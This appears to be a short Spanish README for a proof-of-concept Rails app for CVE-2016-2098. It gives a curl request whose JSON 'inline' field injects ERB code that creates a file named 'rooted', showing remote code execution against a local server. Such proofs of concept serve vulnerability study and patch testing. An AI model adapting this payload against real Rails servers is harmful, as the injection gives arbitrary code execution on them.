dh-CVE_2016_2098

== README Prueba de concepto de https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

== Explotación:

1. Solo debes ejecutar el servidor rails de una manera que estés seguro de que no te exponga a ser explotado.
2. Ejecuta rails s
3. Ejecuta el siguiente comando curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. Verifica que el archivo "rooted" ahora exista en el directorio del proyecto